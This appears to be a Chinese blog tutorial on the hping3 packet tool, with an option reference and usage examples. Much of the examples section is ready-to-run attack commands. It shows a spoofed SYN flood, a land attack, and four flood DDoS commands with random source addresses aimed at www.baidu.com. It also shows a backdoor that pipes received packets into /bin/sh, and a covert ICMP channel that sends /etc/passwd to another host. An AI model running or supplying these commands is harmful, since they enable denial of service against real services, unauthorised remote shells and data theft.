Linux网络命令之 `Hping3`

1 Hping简介

Hping 是面向命令行的,用于生成和解析 TCP/IP 协议数据包汇编/分析的开源工具。作者是 Salvatore Sanfilippo,界面灵感来自 ping(8)unix 命令。

目前最新版是 Hping,它支持 TCP,UDP,ICMP 和 RAW-IP 协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用 tcl 脚本自动化地调用其 API。hping 是安全审计、防火墙测试等工作的标配工具。Hping 优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

工具来源:http://www.hping.org/

2 Hping的功能

虽然 Hping 以前主要用作安全工具,但它可以在许多方面被不太关心安全性的人员用于测试网络和主机,您可以使用 Hping 的一小部分内容:

  • 防火墙测试
  • 高级端口扫描
  • 网络测试,使用不同的协议,TOS,分片
  • 手动路径 MTU 发现
  • 在所有支持的协议下,高级 traceroute
  • 远程操作系统指纹
  • 远程正常运行时间猜测
  • TCP/IP 协议栈审计
  • Hping 也可以用于学习 TCP/IP 的学生

3 Hping3用法说明

hping3 host [options]

  -h  --help        	显示帮助
  -v  --version     	显示版本
  -c  --count       	发送数据包的数目
  -i  --interval    	发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000)
      --fast        	等同 -i u10000 (每秒10个包)
      --faster      	等同 -i u1000 (每秒100个包)
      --flood       	尽最快发送数据包,不显示回复
  -n  --numeric     	数字化输出,象征性输出主机地址
  -q  --quiet       	安静模式
  -I  --interface   	网卡接口 (默认路由接口)
  -V  --verbose     	详细模式
  -D  --debug       	调试信息
  -z  --bind        	绑定 ctrl+z 到 ttl (默认为目的端口)
  -Z  --unbind      	取消绑定 ctrl+z 键
      --beep        	对于接收到的每个匹配数据包蜂鸣声提示
  
模式选择  
  default mode      	默认模式是TCP
  -0  --rawip       	RAW IP模式,原始IP模式。在此模式下Hping3会发送带数据的IP头。即裸IP方式。使用RAWSOCKET方式
  -1  --icmp        	ICMP模式,此模式下Hping3会发送IGMP应答报,你可以用 --icmptype,--icmpcode 选项发送其他类型/模式的ICMP报文
  -2  --udp         	UDP模式,默认Hping3会发送UDP报文到主机的0端口,你可以用 --baseport,--destport,--keep 选项指定端口
  -8  --scan        	扫描模式,扫描指定的端口
                    	Example: hping3 --scan 1-30,70-90 -S www.target.host
  -9  --listen      	监听模式
    
IP 模式  
  -a  --spoof       	源地址欺骗。伪造自身IP,对目的进行攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了
  	  --rand-dest   	随机目的地址模式,详细使用 man 命令
      --rand-source 	随机源地址模式,详细使用 man 命令
  -t  --ttl         	指定 ttl 值 (默认 64)
  -N  --id          	hping3 中的 ID 值,缺省为随机值
  -W  --winid       	使用 win* id 字节顺序,针对不同的操作系统。UNIX,WINDIWS的id回应不同,这选项可以让你的ID回应和WINDOWS一样
  -r  --rel         	相对id字段(用于评估主机流量)  //更改ID的,可以让ID曾递减输出,详见HPING-HOWTO
  -f  --frag        	将数据包拆分成更多的frag,可能通过弱访问控制列表(acl)	//分段,可以测试对方或者交换机碎片处理能力,缺省16字节
  -x  --morefrag    	设置更多的分段标志    //大量碎片,泪滴攻击
  -y  --dontfrag    	设置不分段标志    //发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY
  -g  --fragoff     	set the fragment offset    //设置断偏移
  -m  --mtu         	设置虚拟最大传输单元,当大于MTU时分段;如果数据包大于MTU,等同于使用 --frag 选项
  -o  --tos         	tos字段,服务类型,缺省值为0x00,通过 hping3 --tos help 命令查看详细
  -G  --rroute     		记录IP路由,并显示路由缓冲
      --lsrr        	松散源路由并记录路由 (loose source routing and record route)
      --ssrr        	严格源路由并记录路由 (strict source routing and record route)
  -H  --ipproto     	设置IP协议字段,仅在RAW IP模式下使用
  
ICMP 模式
  -C  --icmptype    	icmp类型,默认回显(echo)请求
  -K  --icmpcode    	icmp代号,默认0
      --force-icmp  	发送所有icmp类型(默认仅发送支持的类型)
      --icmp-gw     	设置ICMP重定向网关地址(默认0.0.0.0)
      --icmp-ts     	等同 --icmp --icmptype 13 (ICMP 时间戳)
      --icmp-addr   	等同 --icmp --icmptype 17 (ICMP 地址子网掩码)
      --icmp-help   	显示其他icmp选项帮助
  
UDP/TCP 模式
  -s  --baseport    	设置源端口,默认为随机源端口
  -p  --destport    	设置目的端口,默认端口为0
  -k  --keep        	保持源端口不变
  -w  --win         	win的滑动窗口。windows发送字节(默认64)
  -O  --tcpoff      	set fake tcp data offset(instead of tcphdrlen / 4)    //设置伪造tcp数据偏移量(取代tcp地址长度/4)
  -Q  --seqnum      	仅显示tcp序列号
  -b  --badcksum    	(尝试)发送具有错误IP校验和的数据包,所以你会得到错误UDP/TCP校验和。但是许多系统会修复发送数据包的IP校验和
  -M  --setseq      	设置TCP序列号
  -L  --setack      	set TCP ack,不是 TCP 的 ACK 标志位
  -F  --fin         	set FIN flag  
  -S  --syn         	set SYN flag  
  -R  --rst         	set RST flag  
  -P  --push        	set PUSH flag  
  -A  --ack         	set ACK flag,设置 TCP 的 ACK 标志位
  -U  --urg         	set URG flag      //一大堆IP报头的设置
  -X  --xmas        	set X unused flag (0x40)
  -Y  --ymas        	set Y unused flag (0x80)
      --tcpexitcode     使用last tcp->th_flags 作为退出码
      --tcp-mss         使用给定的值启用TCP MSS选项
      --tcp-timestamp   启用TCP时间戳选项来猜测HZ/uptime
  
通用设置  
  -d  --data        	发送数据包的大小,默认为0
  -E  --file        	发送指定文件内的数据
  -e  --sign        	添加“签名”
  -j  --dump        	转储为十六进制数据包
  -J  --print       	转储为可打印字符
  -B  --safe        	启用“安全”协议
  -u  --end         	告诉你什么时候--file达到EOF并防止倒回
  -T  --traceroute  	traceroute模式(等同使用 --bind 且 --ttl 1)
      --tr-stop     	在traceroute模式下,收到第一个非ICMP报文时退出
      --tr-keep-ttl 	保持源TTL固定,仅用于监视一跳
      --tr-no-rtt   	不要在traceroute模式下计算或显示RTT信息

ARS packet description (new, unstable)
      --apd-send    	发送用APD描述的数据包(参见docs/APD.txt)

4 Hping3举例

4.1 防火墙测试

使用 Hping3 指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html

测试防火墙对 ICMP 包的反应、是否支持 traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击 (DoS attack)。

例如,以 LandAttack 方式测试目标防火墙 (Land Attack 是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接):

hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

4.2 端口扫描

Hping3 也可以对目标端口进行扫描。Hping3 支持指定 TCP 各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:

hping3 -I eth0 -S 192.168.10.1 -p 80
  • -I eth0:指定使用 eth0 端口
  • -S:指定 TCP 包的标志位 SYN
  • -p 80:指定探测的目的端口

Hping3 支持非常丰富的端口探测方式,Nmap 拥有的扫描方式 Hping3 几乎都支持 (除开 connect 方式,因为 Hping3 仅发送与接收包,不会维护连接,所以不支持 connect 方式探测)。而且 Hping3 能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3 的端口扫描性能及综合处理能力,无法与 Nmap 相比。一般使用它仅对少量主机的少量端口进行扫描。

4.3 Idle扫描

Idle 扫描 (Idle Scanning) 是一种匿名扫描远程主机的方式,该方式也是由 Hping3 的作者 Salvatore Sanfilippo 发明的,目前 Idle 扫描在 Nmap 中也有实现。

该扫描原理是:寻找一台 idle 主机 (该主机没有任何的网络流量,并且 IPID 是逐个增长的),攻击端主机先向 idle 主机发送探测包,从回复包中获取其 IPID。冒充 idle 主机的 IP 地址向远程主机的端口发送 SYN 包 (此处假设为 SYN 包),此时如果远程主机的目的端口开放,那么会回复 SYN/ACK,此时 idle 主机收到 SYN/ACK 后回复 RST 包。然后攻击端主机再向 idle 主机发送探测包,获取其 IPID。那么对比两次的 IPID 值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

4.4 拒绝服务攻击

使用 Hping3 可以很方便构建拒绝服务攻击。比如对目标机发起大量 SYN 连接,伪造源地址为 192.168.10.99,并使用1000微秒的间隔发送各个 SYN 包:

hping3 -I eth0 -a 192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

其他攻击如 smurf、teardrop、land attack 等也很容易构建出来。

4.5 DDOS攻击 (分布式拒绝服务攻击)

  1. UDP ddos攻击:

    hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com
    
  2. ICMP ddos攻击:

    hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source www.baidu.com
    
  3. SYN ddos攻击:

    hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source www.baidu.com
    
  4. ACK ddos攻击:

    hping3 -c 10000 -d 120 -A -w 64 -p 80 --flood --rand-source www.baidu.com
    

4.6 木马功能

如果 Hping3 能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开 shell 通信。与 netcat 的后门功能类似。

示例:本地打开53号 UDP 端口 (DNS解析服务) 监听来自 192.168.10.66 主机的包含签名为 signature 的数据包,并将收到的数据调用 /bin/sh 执行。

在木马启动端:

hping3 192.168.10.66 --listen signature --safe --udp -p 53 | /bin/sh

在远程控制端:

echo ls > test.cmd

hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd

将包含 ls 命令的文件加上签名 signature 发送到 192.168.10.44 主机的53号 UDP 端口,包数据长度为100字节。

当然这里只是简单的演示程序,真实的场景,控制端可以利益 shell 执行很多的高级复杂的操作。

4.7 文件传输

Hping3 支持通过 TCP/UDP/ICMP 等包来进行文件传输。相当于借助 TCP/UDP/ICMP 包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名 (签名为用户指定的字符串) 的内容进行相应的解析。

在接收端开启服务:

hping3 192.168.1.159 --listen signature --safe --icmp

监听 ICMP 包中的签名,根据签名解析出文件内容。

在发送端使用签名打包的 ICMP 包发送文件:

hping3 192.168.1.108 --icmp -d 100 --sign signature --file /etc/passwd

将 /etc/passwd 密码文件通过 ICMP 包传给 192.168.1.108 主机。发送包大小为100字节 (-d 100),发送签名为 signature (--sign signature)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值